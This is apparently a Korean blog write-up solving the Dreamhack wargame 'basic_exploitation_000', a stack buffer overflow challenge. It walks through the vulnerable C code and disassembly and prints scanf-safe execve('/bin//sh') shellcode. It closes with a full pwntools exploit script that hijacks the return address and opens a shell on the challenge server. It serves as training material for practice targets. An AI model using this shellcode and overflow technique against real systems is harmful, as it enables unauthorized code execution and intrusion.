War Game/Pwnable

[Dreamhack] basic_exploitation_000

GunP4ng 2024. 4. 29. 23:56

basic_exploitation_000 문제풀이


1. 코드 확인 (취약점)

1. C 코드 확인

파일을 실행하면 buf 의 주소를 출력하고 입력을 받는 것을 알 수 있다.

$ ./basic_exploitation_000
buf = (0xffffc3a8)

 

checksec 명령어로 보호기법을 확인해보자.

$ checksec basic_exploitation_000
[*] '/workspaces/codespaces-blank/basic_exploitation_000/basic_exploitation_000'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

32bit 파일이다.

아무런 보호기법도 걸려있지 않은 것을 확인할 수 있다.

 

이제 C 코드를 확인해보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

char buf[0x80];

buf 가 0x80 (128) 의 크기인 것을 알 수 있다.

 

scanf("%141s", buf);

하지만 scanf 로 141 만큼 입력받으므로 BOF 가 발생한다.

 

2. 어셈블리 확인

gdb 를 이용해서 어셈블리를 확인해보자.

   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp                         ; 프롤로그
   0x080485dc <+3>:     add    esp,0xffffff80
   0x080485df <+6>:     call   0x8048592 <initialize>          ; initialize 호출
   0x080485e4 <+11>:    lea    eax,[ebp-0x80]                  ; buf[ebp-0x80]
   0x080485e7 <+14>:    push   eax                      
   0x080485e8 <+15>:    push   0x8048699                       ; "buf = (%p)\n"
   0x080485ed <+20>:    call   0x80483f0 <printf@plt>          ; printf("buf = (%p)\n", buf)
   0x080485f2 <+25>:    add    esp,0x8
   0x080485f5 <+28>:    lea    eax,[ebp-0x80]                  ; buf[ebp-0x80]
   0x080485f8 <+31>:    push   eax
   0x080485f9 <+32>:    push   0x80486a5                       ; %141s
   0x080485fe <+37>:    call   0x8048460 <__isoc99_scanf@plt>  ; scanf("%141s", buf)
   0x08048603 <+42>:    add    esp,0x8
   0x08048606 <+45>:    mov    eax,0x0
   0x0804860b <+50>:    leave                                  ;에필로그
   0x0804860c <+51>:    ret

buf 의 크기는 ebp-0x80 이므로 0x80 인 것을 알 수 있다.

 

 

2. 페이로드 (Payload) 구성

1. 스택 프레임 구조

스택 프레임 구조

buf 크기는 0x80 (128) 이다.

SFP 는 32bit 이므로 0x4 크기이다.

 

buf 의 시작에 shellcode 를 집어넣고

RET 전까지 쓰레기값 (dummy) 로 채운다

그 다음 RET 에 buf 의 주소를 넣으면

 

buf 에 집어넣은 shellcode 가 실행되면서 셸을 획득할 수 있을 것이다.

 

페이로드 구성

 

2. shellcode 작성

이전 글에서 작성한 shellcode 를 수정해서 사용할거다.

section .text
	global _start

_start:
	xor eax, eax        ; eax 초기화
    push eax			; NULL 문자 추가
    push 0x68732f2f     ; //sh
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; ebx = /bin/sh
    xor ecx, ecx        ; ecx 초기화
    xor edx, edx        ; edx 초기화
    mov al, 0xb         ; execve
    int 0x80            ; execve("/bin//sh", 0, 0)

어셈블리 코드이다

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

shellcode 이다

 

scanf 로 입력을 받기 때문에 scanf 가 문자열의 끝을 인식하는 문자인

\x09, \x0a, \x0b, \x0c, \x0d, \x20 는 들어가면 안된다.

 

\x09 : \xt

\x0a : \n

\x0b : \v

\x0c : \f

\x0d : \r

\x20 : 스페이스

 

위의 shellcode 를 objdump 로 확인해보자.

 8049000:       31 c0                   xor    eax,eax
 8049002:       50                      push   eax
 8049003:       68 2f 2f 73 68          push   0x68732f2f
 8049008:       68 2f 62 69 6e          push   0x6e69622f
 804900d:       89 e3                   mov    ebx,esp
 804900f:       31 c9                   xor    ecx,ecx
 8049011:       31 d2                   xor    edx,edx
 8049013:       b0 0b                   mov    al,0xb
 8049015:       cd 80                   int    0x80

mov al, 0xb 부분에서 \x0b 가 들어가게 되어 수정을 해줘야 한다

 

section .text
	global _start

_start:
	xor eax, eax        ; eax 초기화
    push eax			; NULL 문자 추가
    push 0x68732f2f     ; //sh
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; ebx = /bin/sh
    xor ecx, ecx        ; ecx 초기화
    xor edx, edx        ; edx 초기화
    mov al, 0x8         ; 0x9, 0xa, 0xb 는 scanf 함수에서 문자열의 끝으로 인식
    inc eax             ; 0x9
    inc eax             ; 0xa
    inc eax             ; 0xb
    int 0x80            ; execve("/bin//sh", 0, 0)

\x0b, \x0a, \x09 다 사용할 수 없기 때문에

\x08 을 al 에 저장하고

inc eax 명령으로 1씩 더해주어 0xb 를 만들었다.

 

shellcode 로 변환하면 다음과 같다

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

26 Byte 의 shellcode 이다

 

 

3. 페이로드 (Payload)

1. pwntools 코드 작성

from pwn import *

context.log_level = 'debug'
context(arch='i386', os='linux')
p = remote('host3.dreamhack.games', 12520)

p.recvuntil('0x')
buf_addr = int(p.recvn(8), 16)  # buf 에 shellcode를 넣고 RET 주소를 buf 주소로 덮어씌움

shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'  #26 bytes
padding = 128 - len(shellcode)

payload = shellcode             # buf (sehllcode)
payload += b'A' * padding       # buf (남는 부분)
payload += b'B' * 4             # SFP
payload += p32(buf_addr)        # RET

p.sendafter(')', payload)

p.interactive()

pwntools 을 이용하여 코드를 작성하고 실행하면 

 

$ python3 ./payload.py
/workspaces/codespaces-blank/basic_exploitation_000/./payload.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil('0x')
/home/codespace/.python/current/lib/python3.10/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)

$ ls
$ ls
basic_exploitation_000
flag
run.sh
$ cat flag
DH{-----------------------------}

플래그를 획득할 수 있다